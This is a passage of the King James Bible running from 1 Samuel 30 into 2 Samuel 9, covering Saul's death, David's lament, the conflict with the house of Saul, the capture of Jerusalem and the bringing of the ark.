David's two wives were taken captives, Ahinoam the +Jezreelitess, and Abigail the wife of Nabal the Carmelite. + +30:6 And David was greatly distressed; for the people spake of stoning +him, because the soul of all the people was grieved, every man for his +sons and for his daughters: but David encouraged himself in the LORD +his God. + +30:7 And David said to Abiathar the priest, Ahimelech's son, I pray +thee, bring me hither the ephod. And Abiathar brought thither the +ephod to David. + +30:8 And David enquired at the LORD, saying, Shall I pursue after this +troop? shall I overtake them? And he answered him, Pursue: for thou +shalt surely overtake them, and without fail recover all. + +30:9 So David went, he and the six hundred men that were with him, and +came to the brook Besor, where those that were left behind stayed. + +30:10 But David pursued, he and four hundred men: for two hundred +abode behind, which were so faint that they could not go over the +brook Besor. + +30:11 And they found an Egyptian in the field, and brought him to +David, and gave him bread, and he did eat; and they made him drink +water; 30:12 And they gave him a piece of a cake of figs, and two +clusters of raisins: and when he had eaten, his spirit came again to +him: for he had eaten no bread, nor drunk any water, three days and +three nights. + +30:13 And David said unto him, To whom belongest thou? and whence art +thou? And he said, I am a young man of Egypt, servant to an Amalekite; +and my master left me, because three days agone I fell sick. + +30:14 We made an invasion upon the south of the Cherethites, and upon +the coast which belongeth to Judah, and upon the south of Caleb; and +we burned Ziklag with fire. + +30:15 And David said to him, Canst thou bring me down to this company? +And he said, Swear unto me by God, that thou wilt neither kill me, nor +deliver me into the hands of my master, and I will bring thee down to +this company. + +30:16 And when he had brought him down, behold, they were spread +abroad upon all the earth, eating and drinking, and dancing, because +of all the great spoil that they had taken out of the land of the +Philistines, and out of the land of Judah. + +30:17 And David smote them from the twilight even unto the evening of +the next day: and there escaped not a man of them, save four hundred +young men, which rode upon camels, and fled. + +30:18 And David recovered all that the Amalekites had carried away: +and David rescued his two wives. + +30:19 And there was nothing lacking to them, neither small nor great, +neither sons nor daughters, neither spoil, nor any thing that they had +taken to them: David recovered all. + +30:20 And David took all the flocks and the herds, which they drave +before those other cattle, and said, This is David's spoil. + +30:21 And David came to the two hundred men, which were so faint that +they could not follow David, whom they had made also to abide at the +brook Besor: and they went forth to meet David, and to meet the people +that were with him: and when David came near to the people, he saluted +them. + +30:22 Then answered all the wicked men and men of Belial, of those +that went with David, and said, Because they went not with us, we will +not give them ought of the spoil that we have recovered, save to every +man his wife and his children, that they may lead them away, and +depart. + +30:23 Then said David, Ye shall not do so, my brethren, with that +which the LORD hath given us, who hath preserved us, and delivered the +company that came against us into our hand. + +30:24 For who will hearken unto you in this matter? but as his part is +that goeth down to the battle, so shall his part be that tarrieth by +the stuff: they shall part alike. + +30:25 And it was so from that day forward, that he made it a statute +and an ordinance for Israel unto this day. + +30:26 And when David came to Ziklag, he sent of the spoil unto the +elders of Judah, even to his friends, saying, Behold a present for you +of the spoil of the enemies of the LORD; 30:27 To them which were in +Bethel, and to them which were in south Ramoth, and to them which were +in Jattir, 30:28 And to them which were in Aroer, and to them which +were in Siphmoth, and to them which were in Eshtemoa, 30:29 And to +them which were in Rachal, and to them which were in the cities of the +Jerahmeelites, and to them which were in the cities of the Kenites, +30:30 And to them which were in Hormah, and to them which were in +Chorashan, and to them which were in Athach, 30:31 And to them which +were in Hebron, and to all the places where David himself and his men +were wont to haunt. + +31:1 Now the Philistines fought against Israel: and the men of Israel +fled from before the Philistines, and fell down slain in mount Gilboa. + +31:2 And the Philistines followed hard upon Saul and upon his sons; +and the Philistines slew Jonathan, and Abinadab, and Melchishua, +Saul's sons. + +31:3 And the battle went sore against Saul, and the archers hit him; +and he was sore wounded of the archers. + +31:4 Then said Saul unto his armourbearer, Draw thy sword, and thrust +me through therewith; lest these uncircumcised come and thrust me +through, and abuse me. But his armourbearer would not; for he was sore +afraid. Therefore Saul took a sword, and fell upon it. + +31:5 And when his armourbearer saw that Saul was dead, he fell +likewise upon his sword, and died with him. + +31:6 So Saul died, and his three sons, and his armourbearer, and all +his men, that same day together. + +31:7 And when the men of Israel that were on the other side of the +valley, and they that were on the other side Jordan, saw that the men +of Israel fled, and that Saul and his sons were dead, they forsook the +cities, and fled; and the Philistines came and dwelt in them. + +31:8 And it came to pass on the morrow, when the Philistines came to +strip the slain, that they found Saul and his three sons fallen in +mount Gilboa. + +31:9 And they cut off his head, and stripped off his armour, and sent +into the land of the Philistines round about, to publish it in the +house of their idols, and among the people. + +31:10 And they put his armour in the house of Ashtaroth: and they +fastened his body to the wall of Bethshan. + +31:11 And when the inhabitants of Jabeshgilead heard of that which the +Philistines had done to Saul; 31:12 All the valiant men arose, and +went all night, and took the body of Saul and the bodies of his sons +from the wall of Bethshan, and came to Jabesh, and burnt them there. + +31:13 And they took their bones, and buried them under a tree at +Jabesh, and fasted seven days. + + + + +The Second Book of Samuel + +Otherwise Called: + +The Second Book of the Kings + + +1:1 Now it came to pass after the death of Saul, when David was +returned from the slaughter of the Amalekites, and David had abode two +days in Ziklag; 1:2 It came even to pass on the third day, that, +behold, a man came out of the camp from Saul with his clothes rent, +and earth upon his head: and so it was, when he came to David, that he +fell to the earth, and did obeisance. + +1:3 And David said unto him, From whence comest thou? And he said unto +him, Out of the camp of Israel am I escaped. + +1:4 And David said unto him, How went the matter? I pray thee, tell +me. + +And he answered, That the people are fled from the battle, and many of +the people also are fallen and dead; and Saul and Jonathan his son are +dead also. + +1:5 And David said unto the young man that told him, How knowest thou +that Saul and Jonathan his son be dead? 1:6 And the young man that +told him said, As I happened by chance upon mount Gilboa, behold, Saul +leaned upon his spear; and, lo, the chariots and horsemen followed +hard after him. + +1:7 And when he looked behind him, he saw me, and called unto me. And +I answered, Here am I. + +1:8 And he said unto me, Who art thou? And I answered him, I am an +Amalekite. + +1:9 He said unto me again, Stand, I pray thee, upon me, and slay me: +for anguish is come upon me, because my life is yet whole in me. + +1:10 So I stood upon him, and slew him, because I was sure that he +could not live after that he was fallen: and I took the crown that was +upon his head, and the bracelet that was on his arm, and have brought +them hither unto my lord. + +1:11 Then David took hold on his clothes, and rent them; and likewise +all the men that were with him: 1:12 And they mourned, and wept, and +fasted until even, for Saul, and for Jonathan his son, and for the +people of the LORD, and for the house of Israel; because they were +fallen by the sword. + +1:13 And David said unto the young man that told him, Whence art thou? +And he answered, I am the son of a stranger, an Amalekite. + +1:14 And David said unto him, How wast thou not afraid to stretch +forth thine hand to destroy the LORD's anointed? 1:15 And David +called one of the young men, and said, Go near, and fall upon him. And +he smote him that he died. + +1:16 And David said unto him, Thy blood be upon thy head; for thy +mouth hath testified against thee, saying, I have slain the LORD's +anointed. + +1:17 And David lamented with this lamentation over Saul and over +Jonathan his son: 1:18 (Also he bade them teach the children of Judah +the use of the bow: behold, it is written in the book of Jasher.) +1:19 The beauty of Israel is slain upon thy high places: how are the +mighty fallen! 1:20 Tell it not in Gath, publish it not in the +streets of Askelon; lest the daughters of the Philistines rejoice, +lest the daughters of the uncircumcised triumph. + +1:21 Ye mountains of Gilboa, let there be no dew, neither let there be +rain, upon you, nor fields of offerings: for there the shield of the +mighty is vilely cast away, the shield of Saul, as though he had not +been anointed with oil. + +1:22 From the blood of the slain, from the fat of the mighty, the bow +of Jonathan turned not back, and the sword of Saul returned not empty. + +1:23 Saul and Jonathan were lovely and pleasant in their lives, and in +their death they were not divided: they were swifter than eagles, they +were stronger than lions. + +1:24 Ye daughters of Israel, weep over Saul, who clothed you in +scarlet, with other delights, who put on ornaments of gold upon your +apparel. + +1:25 How are the mighty fallen in the midst of the battle! O Jonathan, +thou wast slain in thine high places. + +1:26 I am distressed for thee, my brother Jonathan: very pleasant hast +thou been unto me: thy love to me was wonderful, passing the love of +women. + +1:27 How are the mighty fallen, and the weapons of war perished! 2:1 +And it came to pass after this, that David enquired of the LORD, +saying, Shall I go up into any of the cities of Judah? And the LORD +said unto him, Go up. And David said, Whither shall I go up? And he +said, Unto Hebron. + +2:2 So David went up thither, and his two wives also, Ahinoam the +Jezreelitess, and Abigail Nabal's wife the Carmelite. + +2:3 And his men that were with him did David bring up, every man with +his household: and they dwelt in the cities of Hebron. + +2:4 And the men of Judah came, and there they anointed David king over +the house of Judah. And they told David, saying, That the men of +Jabeshgilead were they that buried Saul. + +2:5 And David sent messengers unto the men of Jabeshgilead, and said +unto them, Blessed be ye of the LORD, that ye have shewed this +kindness unto your lord, even unto Saul, and have buried him. + +2:6 And now the LORD shew kindness and truth unto you: and I also will +requite you this kindness, because ye have done this thing. + +2:7 Therefore now let your hands be strengthened, and be ye valiant: +for your master Saul is dead, and also the house of Judah have +anointed me king over them. + +2:8 But Abner the son of Ner, captain of Saul's host, took Ishbosheth +the son of Saul, and brought him over to Mahanaim; 2:9 And made him +king over Gilead, and over the Ashurites, and over Jezreel, and over +Ephraim, and over Benjamin, and over all Israel. + +2:10 Ishbosheth Saul's son was forty years old when he began to reign +over Israel, and reigned two years. But the house of Judah followed +David. + +2:11 And the time that David was king in Hebron over the house of +Judah was seven years and six months. + +2:12 And Abner the son of Ner, and the servants of Ishbosheth the son +of Saul, went out from Mahanaim to Gibeon. + +2:13 And Joab the son of Zeruiah, and the servants of David, went out, +and met together by the pool of Gibeon: and they sat down, the one on +the one side of the pool, and the other on the other side of the pool. + +2:14 And Abner said to Joab, Let the young men now arise, and play +before us. And Joab said, Let them arise. + +2:15 Then there arose and went over by number twelve of Benjamin, +which pertained to Ishbosheth the son of Saul, and twelve of the +servants of David. + +2:16 And they caught every one his fellow by the head, and thrust his +sword in his fellow's side; so they fell down together: wherefore that +place was called Helkathhazzurim, which is in Gibeon. + +2:17 And there was a very sore battle that day; and Abner was beaten, +and the men of Israel, before the servants of David. + +2:18 And there were three sons of Zeruiah there, Joab, and Abishai, +and Asahel: and Asahel was as light of foot as a wild roe. + +2:19 And Asahel pursued after Abner; and in going he turned not to the +right hand nor to the left from following Abner. + +2:20 Then Abner looked behind him, and said, Art thou Asahel? And he +answered, I am. + +2:21 And Abner said to him, Turn thee aside to thy right hand or to +thy left, and lay thee hold on one of the young men, and take thee his +armour. + +But Asahel would not turn aside from following of him. + +2:22 And Abner said again to Asahel, Turn thee aside from following +me: wherefore should I smite thee to the ground? how then should I +hold up my face to Joab thy brother? 2:23 Howbeit he refused to turn +aside: wherefore Abner with the hinder end of the spear smote him +under the fifth rib, that the spear came out behind him; and he fell +down there, and died in the same place: and it came to pass, that as +many as came to the place where Asahel fell down and died stood still. + +2:24 Joab also and Abishai pursued after Abner: and the sun went down +when they were come to the hill of Ammah, that lieth before Giah by +the way of the wilderness of Gibeon. + +2:25 And the children of Benjamin gathered themselves together after +Abner, and became one troop, and stood on the top of an hill. + +2:26 Then Abner called to Joab, and said, Shall the sword devour for +ever? knowest thou not that it will be bitterness in the latter end? +how long shall it be then, ere thou bid the people return from +following their brethren? 2:27 And Joab said, As God liveth, unless +thou hadst spoken, surely then in the morning the people had gone up +every one from following his brother. + +2:28 So Joab blew a trumpet, and all the people stood still, and +pursued after Israel no more, neither fought they any more. + +2:29 And Abner and his men walked all that night through the plain, +and passed over Jordan, and went through all Bithron, and they came to +Mahanaim. + +2:30 And Joab returned from following Abner: and when he had gathered +all the people together, there lacked of David's servants nineteen men +and Asahel. + +2:31 But the servants of David had smitten of Benjamin, and of Abner's +men, so that three hundred and threescore men died. + +2:32 And they took up Asahel, and buried him in the sepulchre of his +father, which was in Bethlehem. And Joab and his men went all night, +and they came to Hebron at break of day. + +3:1 Now there was long war between the house of Saul and the house of +David: but David waxed stronger and stronger, and the house of Saul +waxed weaker and weaker. + +3:2 And unto David were sons born in Hebron: and his firstborn was +Amnon, of Ahinoam the Jezreelitess; 3:3 And his second, Chileab, of +Abigail the wife of Nabal the Carmelite; and the third, Absalom the +son of Maacah the daughter of Talmai king of Geshur; 3:4 And the +fourth, Adonijah the son of Haggith; and the fifth, Shephatiah the son +of Abital; 3:5 And the sixth, Ithream, by Eglah David's wife. These +were born to David in Hebron. + +3:6 And it came to pass, while there was war between the house of Saul +and the house of David, that Abner made himself strong for the house +of Saul. + +3:7 And Saul had a concubine, whose name was Rizpah, the daughter of +Aiah: and Ishbosheth said to Abner, Wherefore hast thou gone in unto +my father's concubine? 3:8 Then was Abner very wroth for the words of +Ishbosheth, and said, Am I a dog's head, which against Judah do shew +kindness this day unto the house of Saul thy father, to his brethren, +and to his friends, and have not delivered thee into the hand of +David, that thou chargest me to day with a fault concerning this +woman? 3:9 So do God to Abner, and more also, except, as the LORD +hath sworn to David, even so I do to him; 3:10 To translate the +kingdom from the house of Saul, and to set up the throne of David over +Israel and over Judah, from Dan even to Beersheba. + +3:11 And he could not answer Abner a word again, because he feared +him. + +3:12 And Abner sent messengers to David on his behalf, saying, Whose +is the land? saying also, Make thy league with me, and, behold, my +hand shall be with thee, to bring about all Israel unto thee. + +3:13 And he said, Well; I will make a league with thee: but one thing +I require of thee, that is, Thou shalt not see my face, except thou +first bring Michal Saul's daughter, when thou comest to see my face. + +3:14 And David sent messengers to Ishbosheth Saul's son, saying, +Deliver me my wife Michal, which I espoused to me for an hundred +foreskins of the Philistines. + +3:15 And Ishbosheth sent, and took her from her husband, even from +Phaltiel the son of Laish. + +3:16 And her husband went with her along weeping behind her to +Bahurim. + +Then said Abner unto him, Go, return. And he returned. + +3:17 And Abner had communication with the elders of Israel, saying, Ye +sought for David in times past to be king over you: 3:18 Now then do +it: for the LORD hath spoken of David, saying, By the hand of my +servant David I will save my people Israel out of the hand of the +Philistines, and out of the hand of all their enemies. + +3:19 And Abner also spake in the ears of Benjamin: and Abner went also +to speak in the ears of David in Hebron all that seemed good to +Israel, and that seemed good to the whole house of Benjamin. + +3:20 So Abner came to David to Hebron, and twenty men with him. And +David made Abner and the men that were with him a feast. + +3:21 And Abner said unto David, I will arise and go, and will gather +all Israel unto my lord the king, that they may make a league with +thee, and that thou mayest reign over all that thine heart desireth. +And David sent Abner away; and he went in peace. + +3:22 And, behold, the servants of David and Joab came from pursuing a +troop, and brought in a great spoil with them: but Abner was not with +David in Hebron; for he had sent him away, and he was gone in peace. + +3:23 When Joab and all the host that was with him were come, they told +Joab, saying, Abner the son of Ner came to the king, and he hath sent +him away, and he is gone in peace. + +3:24 Then Joab came to the king, and said, What hast thou done? +behold, Abner came unto thee; why is it that thou hast sent him away, +and he is quite gone? 3:25 Thou knowest Abner the son of Ner, that he +came to deceive thee, and to know thy going out and thy coming in, and +to know all that thou doest. + +3:26 And when Joab was come out from David, he sent messengers after +Abner, which brought him again from the well of Sirah: but David knew +it not. + +3:27 And when Abner was returned to Hebron, Joab took him aside in the +gate to speak with him quietly, and smote him there under the fifth +rib, that he died, for the blood of Asahel his brother. + +3:28 And afterward when David heard it, he said, I and my kingdom are +guiltless before the LORD for ever from the blood of Abner the son of +Ner: 3:29 Let it rest on the head of Joab, and on all his father's +house; and let there not fail from the house of Joab one that hath an +issue, or that is a leper, or that leaneth on a staff, or that falleth +on the sword, or that lacketh bread. + +3:30 So Joab, and Abishai his brother slew Abner, because he had slain +their brother Asahel at Gibeon in the battle. + +3:31 And David said to Joab, and to all the people that were with him, +Rend your clothes, and gird you with sackcloth, and mourn before +Abner. And king David himself followed the bier. + +3:32 And they buried Abner in Hebron: and the king lifted up his +voice, and wept at the grave of Abner; and all the people wept. + +3:33 And the king lamented over Abner, and said, Died Abner as a fool +dieth? 3:34 Thy hands were not bound, nor thy feet put into fetters: +as a man falleth before wicked men, so fellest thou. And all the +people wept again over him. + +3:35 And when all the people came to cause David to eat meat while it +was yet day, David sware, saying, So do God to me, and more also, if I +taste bread, or ought else, till the sun be down. + +3:36 And all the people took notice of it, and it pleased them: as +whatsoever the king did pleased all the people. + +3:37 For all the people and all Israel understood that day that it was +not of the king to slay Abner the son of Ner. + +3:38 And the king said unto his servants, Know ye not that there is a +prince and a great man fallen this day in Israel? 3:39 And I am this +day weak, though anointed king; and these men the sons of Zeruiah be +too hard for me: the LORD shall reward the doer of evil according to +his wickedness. + +4:1 And when Saul's son heard that Abner was dead in Hebron, his hands +were feeble, and all the Israelites were troubled. + +4:2 And Saul's son had two men that were captains of bands: the name +of the one was Baanah, and the name of the other Rechab, the sons of +Rimmon a Beerothite, of the children of Benjamin: (for Beeroth also +was reckoned to Benjamin. + +4:3 And the Beerothites fled to Gittaim, and were sojourners there +until this day.) 4:4 And Jonathan, Saul's son, had a son that was +lame of his feet. He was five years old when the tidings came of Saul +and Jonathan out of Jezreel, and his nurse took him up, and fled: and +it came to pass, as she made haste to flee, that he fell, and became +lame. And his name was Mephibosheth. + +4:5 And the sons of Rimmon the Beerothite, Rechab and Baanah, went, +and came about the heat of the day to the house of Ishbosheth, who lay +on a bed at noon. + +4:6 And they came thither into the midst of the house, as though they +would have fetched wheat; and they smote him under the fifth rib: and +Rechab and Baanah his brother escaped. + +4:7 For when they came into the house, he lay on his bed in his +bedchamber, and they smote him, and slew him, and beheaded him, and +took his head, and gat them away through the plain all night. + +4:8 And they brought the head of Ishbosheth unto David to Hebron, and +said to the king, Behold the head of Ishbosheth the son of Saul thine +enemy, which sought thy life; and the LORD hath avenged my lord the +king this day of Saul, and of his seed. + +4:9 And David answered Rechab and Baanah his brother, the sons of +Rimmon the Beerothite, and said unto them, As the LORD liveth, who +hath redeemed my soul out of all adversity, 4:10 When one told me, +saying, Behold, Saul is dead, thinking to have brought good tidings, I +took hold of him, and slew him in Ziklag, who thought that I would +have given him a reward for his tidings: 4:11 How much more, when +wicked men have slain a righteous person in his own house upon his +bed? shall I not therefore now require his blood of your hand, and +take you away from the earth? 4:12 And David commanded his young men, +and they slew them, and cut off their hands and their feet, and hanged +them up over the pool in Hebron. But they took the head of Ishbosheth, +and buried it in the sepulchre of Abner in Hebron. + +5:1 Then came all the tribes of Israel to David unto Hebron, and +spake, saying, Behold, we are thy bone and thy flesh. + +5:2 Also in time past, when Saul was king over us, thou wast he that +leddest out and broughtest in Israel: and the LORD said to thee, Thou +shalt feed my people Israel, and thou shalt be a captain over Israel. + +5:3 So all the elders of Israel came to the king to Hebron; and king +David made a league with them in Hebron before the LORD: and they +anointed David king over Israel. + +5:4 David was thirty years old when he began to reign, and he reigned +forty years. + +5:5 In Hebron he reigned over Judah seven years and six months: and in +Jerusalem he reigned thirty and three years over all Israel and Judah. + +5:6 And the king and his men went to Jerusalem unto the Jebusites, the +inhabitants of the land: which spake unto David, saying, Except thou +take away the blind and the lame, thou shalt not come in hither: +thinking, David cannot come in hither. + +5:7 Nevertheless David took the strong hold of Zion: the same is the +city of David. + +5:8 And David said on that day, Whosoever getteth up to the gutter, +and smiteth the Jebusites, and the lame and the blind that are hated +of David's soul, he shall be chief and captain. Wherefore they said, +The blind and the lame shall not come into the house. + +5:9 So David dwelt in the fort, and called it the city of David. And +David built round about from Millo and inward. + +5:10 And David went on, and grew great, and the LORD God of hosts was +with him. + +5:11 And Hiram king of Tyre sent messengers to David, and cedar trees, +and carpenters, and masons: and they built David an house. + +5:12 And David perceived that the LORD had established him king over +Israel, and that he had exalted his kingdom for his people Israel's +sake. + +5:13 And David took him more concubines and wives out of Jerusalem, +after he was come from Hebron: and there were yet sons and daughters +born to David. + +5:14 And these be the names of those that were born unto him in +Jerusalem; Shammuah, and Shobab, and Nathan, and Solomon, 5:15 Ibhar +also, and Elishua, and Nepheg, and Japhia, 5:16 And Elishama, and +Eliada, and Eliphalet. + +5:17 But when the Philistines heard that they had anointed David king +over Israel, all the Philistines came up to seek David; and David +heard of it, and went down to the hold. + +5:18 The Philistines also came and spread themselves in the valley of +Rephaim. + +5:19 And David enquired of the LORD, saying, Shall I go up to the +Philistines? wilt thou deliver them into mine hand? And the LORD said +unto David, Go up: for I will doubtless deliver the Philistines into +thine hand. + +5:20 And David came to Baalperazim, and David smote them there, and +said, The LORD hath broken forth upon mine enemies before me, as the +breach of waters. Therefore he called the name of that place +Baalperazim. + +5:21 And there they left their images, and David and his men burned +them. + +5:22 And the Philistines came up yet again, and spread themselves in +the valley of Rephaim. + +5:23 And when David enquired of the LORD, he said, Thou shalt not go +up; but fetch a compass behind them, and come upon them over against +the mulberry trees. + +5:24 And let it be, when thou hearest the sound of a going in the tops +of the mulberry trees, that then thou shalt bestir thyself: for then +shall the LORD go out before thee, to smite the host of the +Philistines. + +5:25 And David did so, as the LORD had commanded him; and smote the +Philistines from Geba until thou come to Gazer. + +6:1 Again, David gathered together all the chosen men of Israel, +thirty thousand. + +6:2 And David arose, and went with all the people that were with him +from Baale of Judah, to bring up from thence the ark of God, whose +name is called by the name of the LORD of hosts that dwelleth between +the cherubims. + +6:3 And they set the ark of God upon a new cart, and brought it out of +the house of Abinadab that was in Gibeah: and Uzzah and Ahio, the sons +of Abinadab, drave the new cart. + +6:4 And they brought it out of the house of Abinadab which was at +Gibeah, accompanying the ark of God: and Ahio went before the ark. + +6:5 And David and all the house of Israel played before the LORD on +all manner of instruments made of fir wood, even on harps, and on +psalteries, and on timbrels, and on cornets, and on cymbals. + +6:6 And when they came to Nachon's threshingfloor, Uzzah put forth his +hand to the ark of God, and took hold of it; for the oxen shook it. + +6:7 And the anger of the LORD was kindled against Uzzah; and God smote +him there for his error; and there he died by the ark of God. + +6:8 And David was displeased, because the LORD had made a breach upon +Uzzah: and he called the name of the place Perezuzzah to this day. + +6:9 And David was afraid of the LORD that day, and said, How shall the +ark of the LORD come to me? 6:10 So David would not remove the ark of +the LORD unto him into the city of David: but David carried it aside +into the house of Obededom the Gittite. + +6:11 And the ark of the LORD continued in the house of Obededom the +Gittite three months: and the LORD blessed Obededom, and all his +household. + +6:12 And it was told king David, saying, The LORD hath blessed the +house of Obededom, and all that pertaineth unto him, because of the +ark of God. So David went and brought up the ark of God from the house +of Obededom into the city of David with gladness. + +6:13 And it was so, that when they that bare the ark of the LORD had +gone six paces, he sacrificed oxen and fatlings. + +6:14 And David danced before the LORD with all his might; and David +was girded with a linen ephod. + +6:15 So David and all the house of Israel brought up the ark of the +LORD with shouting, and with the sound of the trumpet. + +6:16 And as the ark of the LORD came into the city of David, Michal +Saul's daughter looked through a window, and saw king David leaping +and dancing before the LORD; and she despised him in her heart. + +6:17 And they brought in the ark of the LORD, and set it in his place, +in the midst of the tabernacle that David had pitched for it: and +David offered burnt offerings and peace offerings before the LORD. + +6:18 And as soon as David had made an end of offering burnt offerings +and peace offerings, he blessed the people in the name of the LORD of +hosts. + +6:19 And he dealt among all the people, even among the whole multitude +of Israel, as well to the women as men, to every one a cake of bread, +and a good piece of flesh, and a flagon of wine. So all the people +departed every one to his house. + +6:20 Then David returned to bless his household. And Michal the +daughter of Saul came out to meet David, and said, How glorious was +the king of Israel to day, who uncovered himself to day in the eyes of +the handmaids of his servants, as one of the vain fellows shamelessly +uncovereth himself! 6:21 And David said unto Michal, It was before +the LORD, which chose me before thy father, and before all his house, +to appoint me ruler over the people of the LORD, over Israel: +therefore will I play before the LORD. + +6:22 And I will yet be more vile than thus, and will be base in mine +own sight: and of the maidservants which thou hast spoken of, of them +shall I be had in honour. + +6:23 Therefore Michal the daughter of Saul had no child unto the day +of her death. + +7:1 And it came to pass, when the king sat in his house, and the LORD +had given him rest round about from all his enemies; 7:2 That the king +said unto Nathan the prophet, See now, I dwell in an house of cedar, +but the ark of God dwelleth within curtains. + +7:3 And Nathan said to the king, Go, do all that is in thine heart; +for the LORD is with thee. + +7:4 And it came to pass that night, that the word of the LORD came +unto Nathan, saying, 7:5 Go and tell my servant David, Thus saith the +LORD, Shalt thou build me an house for me to dwell in? 7:6 Whereas I +have not dwelt in any house since the time that I brought up the +children of Israel out of Egypt, even to this day, but have walked in +a tent and in a tabernacle. + +7:7 In all the places wherein I have walked with all the children of +Israel spake I a word with any of the tribes of Israel, whom I +commanded to feed my people Israel, saying, Why build ye not me an +house of cedar? 7:8 Now therefore so shalt thou say unto my servant +David, Thus saith the LORD of hosts, I took thee from the sheepcote, +from following the sheep, to be ruler over my people, over Israel: 7:9 +And I was with thee whithersoever thou wentest, and have cut off all +thine enemies out of thy sight, and have made thee a great name, like +unto the name of the great men that are in the earth. + +7:10 Moreover I will appoint a place for my people Israel, and will +plant them, that they may dwell in a place of their own, and move no +more; neither shall the children of wickedness afflict them any more, +as beforetime, 7:11 And as since the time that I commanded judges to +be over my people Israel, and have caused thee to rest from all thine +enemies. Also the LORD telleth thee that he will make thee an house. + +7:12 And when thy days be fulfilled, and thou shalt sleep with thy +fathers, I will set up thy seed after thee, which shall proceed out of +thy bowels, and I will establish his kingdom. + +7:13 He shall build an house for my name, and I will stablish the +throne of his kingdom for ever. + +7:14 I will be his father, and he shall be my son. If he commit +iniquity, I will chasten him with the rod of men, and with the stripes +of the children of men: 7:15 But my mercy shall not depart away from +him, as I took it from Saul, whom I put away before thee. + +7:16 And thine house and thy kingdom shall be established for ever +before thee: thy throne shall be established for ever. + +7:17 According to all these words, and according to all this vision, +so did Nathan speak unto David. + +7:18 Then went king David in, and sat before the LORD, and he said, +Who am I, O Lord GOD? and what is my house, that thou hast brought me +hitherto? 7:19 And this was yet a small thing in thy sight, O Lord +GOD; but thou hast spoken also of thy servant's house for a great +while to come. And is this the manner of man, O Lord GOD? 7:20 And +what can David say more unto thee? for thou, Lord GOD, knowest thy +servant. + +7:21 For thy word's sake, and according to thine own heart, hast thou +done all these great things, to make thy servant know them. + +7:22 Wherefore thou art great, O LORD God: for there is none like +thee, neither is there any God beside thee, according to all that we +have heard with our ears. + +7:23 And what one nation in the earth is like thy people, even like +Israel, whom God went to redeem for a people to himself, and to make +him a name, and to do for you great things and terrible, for thy land, +before thy people, which thou redeemedst to thee from Egypt, from the +nations and their gods? 7:24 For thou hast confirmed to thyself thy +people Israel to be a people unto thee for ever: and thou, LORD, art +become their God. + +7:25 And now, O LORD God, the word that thou hast spoken concerning +thy servant, and concerning his house, establish it for ever, and do +as thou hast said. + +7:26 And let thy name be magnified for ever, saying, The LORD of hosts +is the God over Israel: and let the house of thy servant David be +established before thee. + +7:27 For thou, O LORD of hosts, God of Israel, hast revealed to thy +servant, saying, I will build thee an house: therefore hath thy +servant found in his heart to pray this prayer unto thee. + +7:28 And now, O Lord GOD, thou art that God, and thy words be true, +and thou hast promised this goodness unto thy servant: 7:29 Therefore +now let it please thee to bless the house of thy servant, that it may +continue for ever before thee: for thou, O Lord GOD, hast spoken it: +and with thy blessing let the house of thy servant be blessed for +ever. + +8:1 And after this it came to pass that David smote the Philistines, +and subdued them: and David took Methegammah out of the hand of the +Philistines. + +8:2 And he smote Moab, and measured them with a line, casting them +down to the ground; even with two lines measured he to put to death, +and with one full line to keep alive. And so the Moabites became +David's servants, and brought gifts. + +8:3 David smote also Hadadezer, the son of Rehob, king of Zobah, as he +went to recover his border at the river Euphrates. + +8:4 And David took from him a thousand chariots, and seven hundred +horsemen, and twenty thousand footmen: and David houghed all the +chariot horses, but reserved of them for an hundred chariots. + +8:5 And when the Syrians of Damascus came to succour Hadadezer king of +Zobah, David slew of the Syrians two and twenty thousand men. + +8:6 Then David put garrisons in Syria of Damascus: and the Syrians +became servants to David, and brought gifts. And the LORD preserved +David whithersoever he went. + +8:7 And David took the shields of gold that were on the servants of +Hadadezer, and brought them to Jerusalem. + +8:8 And from Betah, and from Berothai, cities of Hadadezer, king David +took exceeding much brass. + +8:9 When Toi king of Hamath heard that David had smitten all the host +of Hadadezer, 8:10 Then Toi sent Joram his son unto king David, to +salute him, and to bless him, because he had fought against Hadadezer, +and smitten him: for Hadadezer had wars with Toi. And Joram brought +with him vessels of silver, and vessels of gold, and vessels of brass: +8:11 Which also king David did dedicate unto the LORD, with the silver +and gold that he had dedicated of all nations which he subdued; 8:12 +Of Syria, and of Moab, and of the children of Ammon, and of the +Philistines, and of Amalek, and of the spoil of Hadadezer, son of +Rehob, king of Zobah. + +8:13 And David gat him a name when he returned from smiting of the +Syrians in the valley of salt, being eighteen thousand men. + +8:14 And he put garrisons in Edom; throughout all Edom put he +garrisons, and all they of Edom became David's servants. And the LORD +preserved David whithersoever he went. + +8:15 And David reigned over all Israel; and David executed judgment +and justice unto all his people. + +8:16 And Joab the son of Zeruiah was over the host; and Jehoshaphat +the son of Ahilud was recorder; 8:17 And Zadok the son of Ahitub, and +Ahimelech the son of Abiathar, were the priests; and Seraiah was the +scribe; 8:18 And Benaiah the son of Jehoiada was over both the +Cherethites and the Pelethites; and David's sons were chief rulers. + +9:1 And David said, Is there yet any that is left of the house of +Saul, that I may shew him kindness for Jonathan's sake? 9:2 And there +was of the house of Saul a servant whose name was Ziba. And when they +had called him unto David, the king said unto him, Art thou Ziba? And +he said, Thy servant is he. + +9:3 And the king said, Is there not yet any of the house of Saul, that +I may shew the kindness of God unto him? And Ziba said unto the king, +Jonathan hath yet a son, which is lame on his feet. + +9:4 And the king said unto him, Where is he? And Ziba said unto the +king, Behold, he is in the house of Machir, the son of Ammiel, in +Lodebar. + +9:5 Then king David sent, and fetched him out of the house of Machir, +the son of Ammiel, from Lodebar. + +9:6 Now when Mephibosheth, the son of Jonathan, the son of Saul, was +come unto David, he fell on his face, and did reverence. And David +said, Mephibosheth. And he answered, Behold thy servant! 9:7 And +David said unto him, Fear not: for I will surely shew thee kindness +for Jonathan thy father's sake, and will restore thee all the land of +Saul thy father; and thou shalt eat bread at my table continually. + +9:8 And he bowed himself, and said, What is thy servant, that thou +shouldest look upon such a dead dog as I am? 9:9 Then the king called +to Ziba, Saul's servant, and said unto him, I have given unto thy +master's son all that pertained to Saul and to all his house. + +9:10 Thou therefore, and thy sons, and thy servants, shall till the +land for him, and thou shalt bring in the fruits, that thy master's +son may have food to eat: but Mephibosheth thy master's son shall eat +bread alway at my table. Now Ziba had fifteen sons and twenty +servants. + +9:11 Then said Ziba unto the king, According to all that my lord the +king hath commanded his servant, so shall thy servant do. As for +Mephibosheth, said the king, he shall eat at my table, as one of the +king's sons. + +9:12 And Mephibosheth had a young son, whose name was Micha. And all +that dwelt in the house of Ziba were servants unto Mephibosheth. + +9:13 So Mephibosheth dwelt in Jerusalem: for he did eat continually at +the 